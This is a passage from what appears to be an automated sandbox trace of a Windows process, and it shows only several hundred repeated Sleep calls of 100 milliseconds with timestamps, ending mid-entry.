[0144.593] Sleep (dwMilliseconds=0x64) [0144.702] Sleep (dwMilliseconds=0x64) [0144.811] Sleep (dwMilliseconds=0x64) [0144.920] Sleep (dwMilliseconds=0x64) [0145.030] Sleep (dwMilliseconds=0x64) [0145.139] Sleep (dwMilliseconds=0x64) [0145.248] Sleep (dwMilliseconds=0x64) [0145.358] Sleep (dwMilliseconds=0x64) [0145.466] Sleep (dwMilliseconds=0x64) [0145.575] Sleep (dwMilliseconds=0x64) [0145.685] Sleep (dwMilliseconds=0x64) [0145.794] Sleep (dwMilliseconds=0x64) [0145.903] Sleep (dwMilliseconds=0x64) [0146.012] Sleep (dwMilliseconds=0x64) [0146.122] Sleep (dwMilliseconds=0x64) [0146.231] Sleep (dwMilliseconds=0x64) [0146.340] Sleep (dwMilliseconds=0x64) [0146.449] Sleep (dwMilliseconds=0x64) [0146.558] Sleep (dwMilliseconds=0x64) [0146.668] Sleep (dwMilliseconds=0x64) [0146.777] Sleep (dwMilliseconds=0x64) [0146.886] Sleep (dwMilliseconds=0x64) [0146.995] Sleep (dwMilliseconds=0x64) [0147.104] Sleep (dwMilliseconds=0x64) [0147.214] Sleep (dwMilliseconds=0x64) [0147.323] Sleep (dwMilliseconds=0x64) [0147.432] Sleep (dwMilliseconds=0x64) [0147.541] Sleep (dwMilliseconds=0x64) [0147.650] Sleep (dwMilliseconds=0x64) [0147.760] Sleep (dwMilliseconds=0x64) [0147.870] Sleep (dwMilliseconds=0x64) [0147.978] Sleep (dwMilliseconds=0x64) [0148.088] Sleep (dwMilliseconds=0x64) [0148.196] Sleep (dwMilliseconds=0x64) [0148.306] Sleep (dwMilliseconds=0x64) [0148.415] Sleep (dwMilliseconds=0x64) [0148.524] Sleep (dwMilliseconds=0x64) [0148.633] Sleep (dwMilliseconds=0x64) [0148.743] Sleep (dwMilliseconds=0x64) [0148.852] Sleep (dwMilliseconds=0x64) [0148.968] Sleep (dwMilliseconds=0x64) [0149.070] Sleep (dwMilliseconds=0x64) [0149.179] Sleep (dwMilliseconds=0x64) [0149.288] Sleep (dwMilliseconds=0x64) [0149.398] Sleep (dwMilliseconds=0x64) [0149.507] Sleep (dwMilliseconds=0x64) [0149.616] Sleep (dwMilliseconds=0x64) [0149.725] Sleep (dwMilliseconds=0x64) [0149.834] Sleep (dwMilliseconds=0x64) [0149.944] Sleep (dwMilliseconds=0x64) [0150.053] Sleep (dwMilliseconds=0x64) [0150.162] Sleep (dwMilliseconds=0x64) [0150.271] Sleep (dwMilliseconds=0x64) [0150.384] Sleep (dwMilliseconds=0x64) [0150.490] Sleep (dwMilliseconds=0x64) [0150.612] Sleep (dwMilliseconds=0x64) [0150.708] Sleep (dwMilliseconds=0x64) [0150.817] Sleep (dwMilliseconds=0x64) [0150.926] Sleep (dwMilliseconds=0x64) [0151.051] Sleep (dwMilliseconds=0x64) [0151.164] Sleep (dwMilliseconds=0x64) [0151.269] Sleep (dwMilliseconds=0x64) [0151.385] Sleep (dwMilliseconds=0x64) [0151.488] Sleep (dwMilliseconds=0x64) [0151.597] Sleep (dwMilliseconds=0x64) [0151.709] Sleep (dwMilliseconds=0x64) [0151.816] Sleep (dwMilliseconds=0x64) [0151.925] Sleep (dwMilliseconds=0x64) [0152.035] Sleep (dwMilliseconds=0x64) [0152.143] Sleep (dwMilliseconds=0x64) [0152.252] Sleep (dwMilliseconds=0x64) [0152.364] Sleep (dwMilliseconds=0x64) [0152.471] Sleep (dwMilliseconds=0x64) [0152.580] Sleep (dwMilliseconds=0x64) [0152.690] Sleep (dwMilliseconds=0x64) [0152.798] Sleep (dwMilliseconds=0x64) [0152.908] Sleep (dwMilliseconds=0x64) [0153.017] Sleep (dwMilliseconds=0x64) [0153.342] Sleep (dwMilliseconds=0x64) [0153.437] Sleep (dwMilliseconds=0x64) [0153.552] Sleep (dwMilliseconds=0x64) [0153.656] Sleep (dwMilliseconds=0x64) [0153.765] Sleep (dwMilliseconds=0x64) [0153.875] Sleep (dwMilliseconds=0x64) [0153.984] Sleep (dwMilliseconds=0x64) [0154.093] Sleep (dwMilliseconds=0x64) [0154.202] Sleep (dwMilliseconds=0x64) [0154.311] Sleep (dwMilliseconds=0x64) [0154.420] Sleep (dwMilliseconds=0x64) [0154.530] Sleep (dwMilliseconds=0x64) [0154.639] Sleep (dwMilliseconds=0x64) [0154.748] Sleep (dwMilliseconds=0x64) [0154.858] Sleep (dwMilliseconds=0x64) [0154.966] Sleep (dwMilliseconds=0x64) [0155.076] Sleep (dwMilliseconds=0x64) [0155.185] Sleep (dwMilliseconds=0x64) [0155.306] Sleep (dwMilliseconds=0x64) [0155.403] Sleep (dwMilliseconds=0x64) [0155.513] Sleep (dwMilliseconds=0x64) [0155.622] Sleep (dwMilliseconds=0x64) [0155.731] Sleep (dwMilliseconds=0x64) [0155.840] Sleep (dwMilliseconds=0x64) [0155.949] Sleep (dwMilliseconds=0x64) [0156.059] Sleep (dwMilliseconds=0x64) [0156.168] Sleep (dwMilliseconds=0x64) [0156.277] Sleep (dwMilliseconds=0x64) [0156.386] Sleep (dwMilliseconds=0x64) [0156.496] Sleep (dwMilliseconds=0x64) [0156.610] Sleep (dwMilliseconds=0x64) [0156.714] Sleep (dwMilliseconds=0x64) [0156.823] Sleep (dwMilliseconds=0x64) [0156.935] Sleep (dwMilliseconds=0x64) [0157.042] Sleep (dwMilliseconds=0x64) [0157.151] Sleep (dwMilliseconds=0x64) [0157.260] Sleep (dwMilliseconds=0x64) [0157.369] Sleep (dwMilliseconds=0x64) [0157.478] Sleep (dwMilliseconds=0x64) [0157.593] Sleep (dwMilliseconds=0x64) [0157.710] Sleep (dwMilliseconds=0x64) [0157.806] Sleep (dwMilliseconds=0x64) [0157.940] Sleep (dwMilliseconds=0x64) [0158.040] Sleep (dwMilliseconds=0x64) [0158.149] Sleep (dwMilliseconds=0x64) [0158.259] Sleep (dwMilliseconds=0x64) [0158.368] Sleep (dwMilliseconds=0x64) [0158.477] Sleep (dwMilliseconds=0x64) [0158.586] Sleep (dwMilliseconds=0x64) [0158.695] Sleep (dwMilliseconds=0x64) [0158.804] Sleep (dwMilliseconds=0x64) [0158.914] Sleep (dwMilliseconds=0x64) [0159.029] Sleep (dwMilliseconds=0x64) [0159.132] Sleep (dwMilliseconds=0x64) [0159.241] Sleep (dwMilliseconds=0x64) [0159.357] Sleep (dwMilliseconds=0x64) [0159.460] Sleep (dwMilliseconds=0x64) [0159.569] Sleep (dwMilliseconds=0x64) [0159.678] Sleep (dwMilliseconds=0x64) [0159.787] Sleep (dwMilliseconds=0x64) [0159.897] Sleep (dwMilliseconds=0x64) [0160.006] Sleep (dwMilliseconds=0x64) [0160.117] Sleep (dwMilliseconds=0x64) [0160.224] Sleep (dwMilliseconds=0x64) [0160.333] Sleep (dwMilliseconds=0x64) [0160.442] Sleep (dwMilliseconds=0x64) [0160.552] Sleep (dwMilliseconds=0x64) [0160.661] Sleep (dwMilliseconds=0x64) [0160.770] Sleep (dwMilliseconds=0x64) [0160.883] Sleep (dwMilliseconds=0x64) [0160.993] Sleep (dwMilliseconds=0x64) [0161.098] Sleep (dwMilliseconds=0x64) [0161.207] Sleep (dwMilliseconds=0x64) [0161.316] Sleep (dwMilliseconds=0x64) [0161.425] Sleep (dwMilliseconds=0x64) [0161.539] Sleep (dwMilliseconds=0x64) [0161.643] Sleep (dwMilliseconds=0x64) [0161.752] Sleep (dwMilliseconds=0x64) [0161.864] Sleep (dwMilliseconds=0x64) [0161.971] Sleep (dwMilliseconds=0x64) [0162.080] Sleep (dwMilliseconds=0x64) [0162.190] Sleep (dwMilliseconds=0x64) [0162.306] Sleep (dwMilliseconds=0x64) [0162.408] Sleep (dwMilliseconds=0x64) [0162.522] Sleep (dwMilliseconds=0x64) [0162.626] Sleep (dwMilliseconds=0x64) [0162.736] Sleep (dwMilliseconds=0x64) [0162.847] Sleep (dwMilliseconds=0x64) [0162.954] Sleep (dwMilliseconds=0x64) [0163.063] Sleep (dwMilliseconds=0x64) [0163.173] Sleep (dwMilliseconds=0x64) [0163.281] Sleep (dwMilliseconds=0x64) [0163.390] Sleep (dwMilliseconds=0x64) [0163.501] Sleep (dwMilliseconds=0x64) [0163.517] Sleep (dwMilliseconds=0x64) [0163.531] Sleep (dwMilliseconds=0x64) [0163.546] Sleep (dwMilliseconds=0x64) [0163.562] Sleep (dwMilliseconds=0x64) [0163.578] Sleep (dwMilliseconds=0x64) [0163.593] Sleep (dwMilliseconds=0x64) [0163.609] Sleep (dwMilliseconds=0x64) [0163.624] Sleep (dwMilliseconds=0x64) [0163.640] Sleep (dwMilliseconds=0x64) [0163.656] Sleep (dwMilliseconds=0x64) [0163.671] Sleep (dwMilliseconds=0x64) [0163.687] Sleep (dwMilliseconds=0x64) [0163.703] Sleep (dwMilliseconds=0x64) [0163.718] Sleep (dwMilliseconds=0x64) [0163.734] Sleep (dwMilliseconds=0x64) [0163.749] Sleep (dwMilliseconds=0x64) [0163.765] Sleep (dwMilliseconds=0x64) [0163.780] Sleep (dwMilliseconds=0x64) [0163.796] Sleep (dwMilliseconds=0x64) [0163.811] Sleep (dwMilliseconds=0x64) [0163.827] Sleep (dwMilliseconds=0x64) [0163.843] Sleep (dwMilliseconds=0x64) [0163.858] Sleep (dwMilliseconds=0x64) [0163.874] Sleep (dwMilliseconds=0x64) [0163.889] Sleep (dwMilliseconds=0x64) [0163.905] Sleep (dwMilliseconds=0x64) [0163.921] Sleep (dwMilliseconds=0x64) [0163.936] Sleep (dwMilliseconds=0x64) [0163.952] Sleep (dwMilliseconds=0x64) [0163.968] Sleep (dwMilliseconds=0x64) [0163.983] Sleep (dwMilliseconds=0x64) [0163.999] Sleep (dwMilliseconds=0x64) [0164.014] Sleep (dwMilliseconds=0x64) [0164.030] Sleep (dwMilliseconds=0x64) [0164.046] Sleep (dwMilliseconds=0x64) [0164.061] Sleep (dwMilliseconds=0x64) [0164.077] Sleep (dwMilliseconds=0x64) [0164.092] Sleep (dwMilliseconds=0x64) [0164.108] Sleep (dwMilliseconds=0x64) [0164.124] Sleep (dwMilliseconds=0x64) [0164.139] Sleep (dwMilliseconds=0x64) [0164.155] Sleep (dwMilliseconds=0x64) [0164.170] Sleep (dwMilliseconds=0x64) [0164.186] Sleep (dwMilliseconds=0x64) [0164.217] Sleep (dwMilliseconds=0x64) [0164.233] Sleep (dwMilliseconds=0x64) [0164.249] Sleep (dwMilliseconds=0x64) [0164.267] Sleep (dwMilliseconds=0x64) [0164.279] Sleep (dwMilliseconds=0x64) [0164.295] Sleep (dwMilliseconds=0x64) [0164.311] Sleep (dwMilliseconds=0x64) [0164.331] Sleep (dwMilliseconds=0x64) [0164.342] Sleep (dwMilliseconds=0x64) [0164.358] Sleep (dwMilliseconds=0x64) [0164.373] Sleep (dwMilliseconds=0x64) [0164.390] Sleep (dwMilliseconds=0x64) [0164.404] Sleep (dwMilliseconds=0x64) [0164.420] Sleep (dwMilliseconds=0x64) [0164.436] Sleep (dwMilliseconds=0x64) [0164.451] Sleep (dwMilliseconds=0x64) [0164.467] Sleep (dwMilliseconds=0x64) [0164.482] Sleep (dwMilliseconds=0x64) [0164.498] Sleep (dwMilliseconds=0x64) [0164.513] Sleep (dwMilliseconds=0x64) [0164.532] Sleep (dwMilliseconds=0x64) [0164.545] Sleep (dwMilliseconds=0x64) [0164.560] Sleep (dwMilliseconds=0x64) [0164.576] Sleep (dwMilliseconds=0x64) [0164.592] Sleep (dwMilliseconds=0x64) [0164.608] Sleep (dwMilliseconds=0x64) [0164.623] Sleep (dwMilliseconds=0x64) [0164.638] Sleep (dwMilliseconds=0x64) [0164.654] Sleep (dwMilliseconds=0x64) [0164.670] Sleep (dwMilliseconds=0x64) [0164.686] Sleep (dwMilliseconds=0x64) [0164.701] Sleep (dwMilliseconds=0x64) [0164.717] Sleep (dwMilliseconds=0x64) [0164.732] Sleep (dwMilliseconds=0x64) [0164.748] Sleep (dwMilliseconds=0x64) [0164.763] Sleep (dwMilliseconds=0x64) [0164.779] Sleep (dwMilliseconds=0x64) [0164.794] Sleep (dwMilliseconds=0x64) [0164.810] Sleep (dwMilliseconds=0x64) [0164.826] Sleep (dwMilliseconds=0x64) [0164.841] Sleep (dwMilliseconds=0x64) [0164.858] Sleep (dwMilliseconds=0x64) [0164.872] Sleep (dwMilliseconds=0x64) [0164.888] Sleep (dwMilliseconds=0x64) [0164.903] Sleep (dwMilliseconds=0x64) [0164.919] Sleep (dwMilliseconds=0x64) [0164.937] Sleep (dwMilliseconds=0x64) [0164.950] Sleep (dwMilliseconds=0x64) [0164.966] Sleep (dwMilliseconds=0x64) [0164.981] Sleep (dwMilliseconds=0x64) [0164.997] Sleep (dwMilliseconds=0x64) [0165.013] Sleep (dwMilliseconds=0x64) [0165.029] Sleep (dwMilliseconds=0x64) [0165.044] Sleep (dwMilliseconds=0x64) [0165.060] Sleep (dwMilliseconds=0x64) [0165.075] Sleep (dwMilliseconds=0x64) [0165.091] Sleep (dwMilliseconds=0x64) [0165.106] Sleep (dwMilliseconds=0x64) [0165.122] Sleep (dwMilliseconds=0x64) [0165.137] Sleep (dwMilliseconds=0x64) [0165.153] Sleep (dwMilliseconds=0x64) [0165.169] Sleep (dwMilliseconds=0x64) [0165.184] Sleep (dwMilliseconds=0x64) [0165.200] Sleep (dwMilliseconds=0x64) [0165.215] Sleep (dwMilliseconds=0x64) [0165.231] Sleep (dwMilliseconds=0x64) [0165.250] Sleep (dwMilliseconds=0x64) [0165.262] Sleep (dwMilliseconds=0x64) [0165.278] Sleep (dwMilliseconds=0x64) [0165.293] Sleep (dwMilliseconds=0x64) [0165.310] Sleep (dwMilliseconds=0x64) [0165.332] Sleep (dwMilliseconds=0x64) [0165.340] Sleep (dwMilliseconds=0x64) [0165.356] Sleep (dwMilliseconds=0x64) [0165.372] Sleep (dwMilliseconds=0x64) [0165.387] Sleep (dwMilliseconds=0x64) [0165.403] Sleep (dwMilliseconds=0x64) [0165.418] Sleep (dwMilliseconds=0x64) [0165.434] Sleep (dwMilliseconds=0x64) [0165.453] Sleep (dwMilliseconds=0x64) [0165.465] Sleep (dwMilliseconds=0x64) [0165.481] Sleep (dwMilliseconds=0x64) [0165.497] Sleep (dwMilliseconds=0x64) [0165.514] Sleep (dwMilliseconds=0x64) [0165.534] Sleep (dwMilliseconds=0x64) [0165.543] Sleep (dwMilliseconds=0x64) [0165.559] Sleep (dwMilliseconds=0x64) [0165.574] Sleep (dwMilliseconds=0x64) [0165.590] Sleep (dwMilliseconds=0x64) [0165.606] Sleep (dwMilliseconds=0x64) [0165.621] Sleep (dwMilliseconds=0x64) [0165.637] Sleep (dwMilliseconds=0x64) [0165.652] Sleep (dwMilliseconds=0x64) [0165.668] Sleep (dwMilliseconds=0x64) [0165.684] Sleep (dwMilliseconds=0x64) [0165.700] Sleep (dwMilliseconds=0x64) [0165.715] Sleep (dwMilliseconds=0x64) [0165.731] Sleep (dwMilliseconds=0x64) [0165.758] Sleep (dwMilliseconds=0x64) [0165.762] Sleep (dwMilliseconds=0x64) [0165.777] Sleep (dwMilliseconds=0x64) [0165.793] Sleep (dwMilliseconds=0x64) [0165.809] Sleep (dwMilliseconds=0x64) [0165.824] Sleep (dwMilliseconds=0x64) [0165.840] Sleep (dwMilliseconds=0x64) [0165.855] Sleep (dwMilliseconds=0x64) [0165.871] Sleep (dwMilliseconds=0x64) [0165.887] Sleep (dwMilliseconds=0x64) [0165.902] Sleep (dwMilliseconds=0x64) [0165.918] Sleep (dwMilliseconds=0x64) [0165.933] Sleep (dwMilliseconds=0x64) [0165.949] Sleep (dwMilliseconds=0x64) [0165.967] Sleep (dwMilliseconds=0x64) [0165.980] Sleep (dwMilliseconds=0x64) [0165.996] Sleep (dwMilliseconds=0x64) [0166.011] Sleep (dwMilliseconds=0x64) [0166.027] Sleep (dwMilliseconds=0x64) [0166.043] Sleep (dwMilliseconds=0x64) [0166.058] Sleep (dwMilliseconds=0x64) [0166.074] Sleep (dwMilliseconds=0x64) [0166.089] Sleep (dwMilliseconds=0x64) [0166.105] Sleep (dwMilliseconds=0x64) [0166.123] Sleep (dwMilliseconds=0x64) [0166.136] Sleep (dwMilliseconds=0x64) [0166.152] Sleep (dwMilliseconds=0x64) [0166.167] Sleep (dwMilliseconds=0x64) [0166.183] Sleep (dwMilliseconds=0x64) [0166.199] Sleep (dwMilliseconds=0x64) [0166.214] Sleep (dwMilliseconds=0x64) [0166.230] Sleep (dwMilliseconds=0x64) [0166.246] Sleep (dwMilliseconds=0x64) [0166.261] Sleep (dwMilliseconds=0x64) [0166.277] Sleep (dwMilliseconds=0x64) [0166.292] Sleep (dwMilliseconds=0x64) [0166.308] Sleep (dwMilliseconds=0x64) [0166.330] Sleep (dwMilliseconds=0x64) [0166.342] Sleep (dwMilliseconds=0x64) [0166.355] Sleep (dwMilliseconds=0x64) [0166.371] Sleep (dwMilliseconds=0x64) [0166.386] Sleep (dwMilliseconds=0x64) [0166.401] Sleep (dwMilliseconds=0x64) [0166.417] Sleep (dwMilliseconds=0x64) [0166.433] Sleep (dwMilliseconds=0x64) [0166.448] Sleep (dwMilliseconds=0x64) [0166.464] Sleep (dwMilliseconds=0x64) [0166.479] Sleep (dwMilliseconds=0x64) [0166.495] Sleep (dwMilliseconds=0x64) [0166.513] Sleep (dwMilliseconds=0x64) [0166.526] Sleep (dwMilliseconds=0x64) [0166.548] Sleep (dwMilliseconds=0x64) [0166.557] Sleep (dwMilliseconds=0x64) [0166.573] Sleep (dwMilliseconds=0x64) [0166.588] Sleep (dwMilliseconds=0x64) [0166.604] Sleep (dwMilliseconds=0x64) [0166.620] Sleep (dwMilliseconds=0x64) [0166.635] Sleep (dwMilliseconds=0x64) [0166.652] Sleep (dwMilliseconds=0x64) [0166.667] Sleep (dwMilliseconds=0x64) [0166.682] Sleep (dwMilliseconds=0x64) [0166.698] Sleep (dwMilliseconds=0x64) [0166.713] Sleep (dwMilliseconds=0x64) [0166.729] Sleep (dwMilliseconds=0x64) [0166.760] Sleep (dwMilliseconds=0x64) [0166.776] Sleep (dwMilliseconds=0x64) [0166.791] Sleep (dwMilliseconds=0x64) [0166.807] Sleep (dwMilliseconds=0x64) [0166.822] Sleep (dwMilliseconds=0x64) [0166.838] Sleep (dwMilliseconds=0x64) [0166.854] Sleep (dwMilliseconds=0x64) [0166.869] Sleep (dwMilliseconds=0x64) [0166.892] Sleep (dwMilliseconds=0x64) [0166.902] Sleep (dwMilliseconds=0x64) [0166.917] Sleep (dwMilliseconds=0x64) [0166.932] Sleep (dwMilliseconds=0x64) [0166.947] Sleep (dwMilliseconds=0x64) [0166.963] Sleep (dwMilliseconds=0x64) [0166.979] Sleep (dwMilliseconds=0x64) [0166.994] Sleep (dwMilliseconds=0x64) [0167.012] Sleep (dwMilliseconds=0x64) [0167.025] Sleep (dwMilliseconds=0x64) [0167.042] Sleep (dwMilliseconds=0x64) [0167.057] Sleep (dwMilliseconds=0x64) [0167.073] Sleep (dwMilliseconds=0x64) [0167.088] Sleep (dwMilliseconds=0x64) [0167.106] Sleep (dwMilliseconds=0x64) [0167.119] Sleep (dwMilliseconds=0x64) [0167.135] Sleep (dwMilliseconds=0x64) [0167.150] Sleep (dwMilliseconds=0x64) [0167.166] Sleep (dwMilliseconds=0x64) [0167.181] Sleep (dwMilliseconds=0x64) [0167.197] Sleep (dwMilliseconds=0x64) [0167.213] Sleep (dwMilliseconds=0x64) [0167.228] Sleep (dwMilliseconds=0x64) [0167.244] Sleep (dwMilliseconds=0x64) [0167.259] Sleep (dwMilliseconds=0x64) [0167.275] Sleep (dwMilliseconds=0x64) [0167.291] Sleep (dwMilliseconds=0x64) [0167.306] Sleep (dwMilliseconds=0x64) [0167.329] Sleep (dwMilliseconds=0x64) [0167.337] Sleep (dwMilliseconds=0x64) [0167.353] Sleep (dwMilliseconds=0x64) [0167.369] Sleep (dwMilliseconds=0x64) [0167.384] Sleep (dwMilliseconds=0x64) [0167.400] Sleep (dwMilliseconds=0x64) [0167.415] Sleep (dwMilliseconds=0x64) [0167.432] Sleep (dwMilliseconds=0x64) [0167.447] Sleep (dwMilliseconds=0x64) [0167.462] Sleep (dwMilliseconds=0x64) [0167.478] Sleep (dwMilliseconds=0x64) [0167.494] Sleep (dwMilliseconds=0x64) [0167.509] Sleep (dwMilliseconds=0x64) [0167.529] Sleep (dwMilliseconds=0x64) [0167.544] Sleep (dwMilliseconds=0x64) [0167.556] Sleep (dwMilliseconds=0x64) [0167.571] Sleep (dwMilliseconds=0x64) [0167.587] Sleep (dwMilliseconds=0x64) [0167.603] Sleep (dwMilliseconds=0x64) [0167.618] Sleep (dwMilliseconds=0x64) [0167.635] Sleep (dwMilliseconds=0x64) [0167.650] Sleep (dwMilliseconds=0x64) [0167.665] Sleep (dwMilliseconds=0x64) [0167.682] Sleep (dwMilliseconds=0x64) [0167.696] Sleep (dwMilliseconds=0x64) [0167.712] Sleep (dwMilliseconds=0x64) [0167.727] Sleep (dwMilliseconds=0x64) [0167.745] Sleep (dwMilliseconds=0x64) [0167.773] Sleep (dwMilliseconds=0x64) [0167.774] Sleep (dwMilliseconds=0x64) [0167.790] Sleep (dwMilliseconds=0x64) [0167.805] Sleep (dwMilliseconds=0x64) [0167.823] Sleep (dwMilliseconds=0x64) [0167.836] Sleep (dwMilliseconds=0x64) [0167.852] Sleep (dwMilliseconds=0x64) [0167.869] Sleep (dwMilliseconds=0x64) [0167.884] Sleep (dwMilliseconds=0x64) [0167.899] Sleep (dwMilliseconds=0x64) [0167.915] Sleep (dwMilliseconds=0x64) [0167.930] Sleep (dwMilliseconds=0x64) [0167.946] Sleep (dwMilliseconds=0x64) [0167.962] Sleep (dwMilliseconds=0x64) [0167.977] Sleep (dwMilliseconds=0x64) [0167.993] Sleep (dwMilliseconds=0x64) [0168.008] Sleep (dwMilliseconds=0x64) [0168.024] Sleep (dwMilliseconds=0x64) [0168.039] Sleep (dwMilliseconds=0x64) [0168.055] Sleep (dwMilliseconds=0x64) [0168.071] Sleep (dwMilliseconds=0x64) [0168.086] Sleep (dwMilliseconds=0x64) [0168.102] Sleep (dwMilliseconds=0x64) [0168.117] Sleep (dwMilliseconds=0x64) [0168.133] Sleep (dwMilliseconds=0x64) [0168.149] Sleep (dwMilliseconds=0x64) [0168.164] Sleep (dwMilliseconds=0x64) [0168.180] Sleep (dwMilliseconds=0x64) [0168.195] Sleep (dwMilliseconds=0x64) [0168.211] Sleep (dwMilliseconds=0x64) [0168.229] Sleep (dwMilliseconds=0x64) [0168.242] Sleep (dwMilliseconds=0x64) [0168.261] Sleep (dwMilliseconds=0x64) [0168.273] Sleep (dwMilliseconds=0x64) [0168.289] Sleep (dwMilliseconds=0x64) [0168.305] Sleep (dwMilliseconds=0x64) [0168.328] Sleep (dwMilliseconds=0x64) [0168.336] Sleep (dwMilliseconds=0x64) [0168.351] Sleep (dwMilliseconds=0x64) [0168.367] Sleep (dwMilliseconds=0x64) [0168.382] Sleep (dwMilliseconds=0x64) [0168.398] Sleep (dwMilliseconds=0x64) [0168.417] Sleep (dwMilliseconds=0x64) [0168.430] Sleep (dwMilliseconds=0x64) [0168.445] Sleep (dwMilliseconds=0x64) [0168.460] Sleep (dwMilliseconds=0x64) [0168.476] Sleep (dwMilliseconds=0x64) [0168.493] Sleep (dwMilliseconds=0x64) [0168.507] Sleep (dwMilliseconds=0x64) [0168.523] Sleep (dwMilliseconds=0x64) [0168.539] Sleep (dwMilliseconds=0x64) [0168.559] Sleep (dwMilliseconds=0x64) [0168.570] Sleep (dwMilliseconds=0x64) [0168.585] Sleep (dwMilliseconds=0x64) [0168.601] Sleep (dwMilliseconds=0x64) [0168.617] Sleep (dwMilliseconds=0x64) [0168.632] Sleep (dwMilliseconds=0x64) [0168.648] Sleep (dwMilliseconds=0x64) [0168.665] Sleep (dwMilliseconds=0x64) [0168.679] Sleep (dwMilliseconds=0x64) [0168.695] Sleep (dwMilliseconds=0x64) [0168.710] Sleep (dwMilliseconds=0x64) [0168.726] Sleep (dwMilliseconds=0x64) [0168.741] Sleep (dwMilliseconds=0x64) [0168.757] Sleep (dwMilliseconds=0x64) [0168.786] Sleep (dwMilliseconds=0x64) [0168.788] Sleep (dwMilliseconds=0x64) [0168.804] Sleep (dwMilliseconds=0x64) [0168.821] Sleep (dwMilliseconds=0x64) [0168.835] Sleep (dwMilliseconds=0x64) [0168.850] Sleep (dwMilliseconds=0x64) [0168.866] Sleep (dwMilliseconds=0x64) [0168.882] Sleep (dwMilliseconds=0x64) [0168.897] Sleep (dwMilliseconds=0x64) [0168.914] Sleep (dwMilliseconds=0x64) [0168.929] Sleep (dwMilliseconds=0x64) [0168.944] Sleep (dwMilliseconds=0x64) [0168.960] Sleep (dwMilliseconds=0x64) [0168.976] Sleep (dwMilliseconds=0x64) [0168.991] Sleep (dwMilliseconds=0x64) [0169.007] Sleep (dwMilliseconds=0x64) [0169.023] Sleep (dwMilliseconds=0x64) [0169.038] Sleep (dwMilliseconds=0x64) [0169.054] Sleep (dwMilliseconds=0x64) [0169.069] Sleep (dwMilliseconds=0x64) [0169.085] Sleep (dwMilliseconds=0x64) [0169.100] Sleep (dwMilliseconds=0x64) [0169.116] Sleep (dwMilliseconds=0x64) [0169.131] Sleep (dwMilliseconds=0x64) [0169.147] Sleep (dwMilliseconds=0x64) [0169.163] Sleep (dwMilliseconds=0x64) [0169.178] Sleep (dwMilliseconds=0x64) [0169.194] Sleep (dwMilliseconds=0x64) [0169.209] Sleep (dwMilliseconds=0x64) [0169.225] Sleep (dwMilliseconds=0x64) [0169.244] Sleep (dwMilliseconds=0x64) [0169.256] Sleep (dwMilliseconds=0x64) [0169.272] Sleep (dwMilliseconds=0x64) [0169.287] Sleep (dwMilliseconds=0x64) [0169.303] Sleep (dwMilliseconds=0x64) [0169.326] Sleep (dwMilliseconds=0x64) [0169.334] Sleep (dwMilliseconds=0x64) [0169.350] Sleep (dwMilliseconds=0x64) [0169.365] Sleep (dwMilliseconds=0x64) [0169.381] Sleep (dwMilliseconds=0x64) [0169.396] Sleep (dwMilliseconds=0x64) [0169.412] Sleep (dwMilliseconds=0x64) [0169.428] Sleep (dwMilliseconds=0x64) [0169.443] Sleep (dwMilliseconds=0x64) [0169.459] Sleep (dwMilliseconds=0x64) [0169.479] Sleep (dwMilliseconds=0x64) [0169.490] Sleep (dwMilliseconds=0x64) [0169.506] Sleep (dwMilliseconds=0x64) [0169.523] Sleep (dwMilliseconds=0x64) [0169.546] Sleep (dwMilliseconds=0x64) [0169.558] Sleep (dwMilliseconds=0x64) [0169.568] Sleep (dwMilliseconds=0x64) [0169.584] Sleep (dwMilliseconds=0x64) [0169.599] Sleep (dwMilliseconds=0x64) [0169.615] Sleep (dwMilliseconds=0x64) [0169.631] Sleep (dwMilliseconds=0x64) [0169.646] Sleep (dwMilliseconds=0x64) [0169.662] Sleep (dwMilliseconds=0x64) [0169.677] Sleep (dwMilliseconds=0x64) [0169.693] Sleep (dwMilliseconds=0x64) [0169.708] Sleep (dwMilliseconds=0x64) [0169.724] Sleep (dwMilliseconds=0x64) [0169.740] Sleep (dwMilliseconds=0x64) [0169.756] Sleep (dwMilliseconds=0x64) [0169.771] Sleep (dwMilliseconds=0x64) [0169.800] Sleep (dwMilliseconds=0x64) [0169.802] Sleep (dwMilliseconds=0x64) [0169.818] Sleep (dwMilliseconds=0x64) [0169.833] Sleep (dwMilliseconds=0x64) [0169.849] Sleep (dwMilliseconds=0x64) [0169.864] Sleep (dwMilliseconds=0x64) [0169.880] Sleep (dwMilliseconds=0x64) [0169.896] Sleep (dwMilliseconds=0x64) [0169.911] Sleep (dwMilliseconds=0x64) [0169.928] Sleep (dwMilliseconds=0x64) [0169.942] Sleep (dwMilliseconds=0x64) [0169.958] Sleep (dwMilliseconds=0x64) [0169.974] Sleep (dwMilliseconds=0x64) [0169.992] Sleep (dwMilliseconds=0x64) [0170.005] Sleep (dwMilliseconds=0x64) [0170.022] Sleep (dwMilliseconds=0x64) [0170.036] Sleep (dwMilliseconds=0x64) [0170.052] Sleep (dwMilliseconds=0x64) [0170.068] Sleep (dwMilliseconds=0x64) [0170.084] Sleep (dwMilliseconds=0x64) [0170.099] Sleep (dwMilliseconds=0x64) [0170.116] Sleep (dwMilliseconds=0x64) [0170.130] Sleep (dwMilliseconds=0x64) [0170.148] Sleep (dwMilliseconds=0x64) [0170.161] Sleep (dwMilliseconds=0x64) [0170.177] Sleep (dwMilliseconds=0x64) [0170.192] Sleep (dwMilliseconds=0x64) [0170.208] Sleep (dwMilliseconds=0x64) [0170.223] Sleep (dwMilliseconds=0x64) [0170.239] Sleep (dwMilliseconds=0x64) [0170.255] Sleep (dwMilliseconds=0x64) [0170.270] Sleep (dwMilliseconds=0x64) [0170.286] Sleep (dwMilliseconds=0x64) [0170.301] Sleep (dwMilliseconds=0x64) [0170.324] Sleep (dwMilliseconds=0x64) [0170.332] Sleep (dwMilliseconds=0x64) [0170.348] Sleep (dwMilliseconds=0x64) [0170.364] Sleep (dwMilliseconds=0x64) [0170.379] Sleep (dwMilliseconds=0x64) [0170.395] Sleep (dwMilliseconds=0x64) [0170.429] Sleep (dwMilliseconds=0x64) [0170.442] Sleep (dwMilliseconds=0x64) [0170.458] Sleep (dwMilliseconds=0x64) [0170.473] Sleep (dwMilliseconds=0x64) [0170.489] Sleep (dwMilliseconds=0x64) [0170.505] Sleep (dwMilliseconds=0x64) [0170.520] Sleep (dwMilliseconds=0x64) [0170.541] Sleep (dwMilliseconds=0x64) [0170.551] Sleep (dwMilliseconds=0x64) [0170.577] Sleep (dwMilliseconds=0x64) [0170.582] Sleep (dwMilliseconds=0x64) [0170.598] Sleep (dwMilliseconds=0x64) [0170.613] Sleep 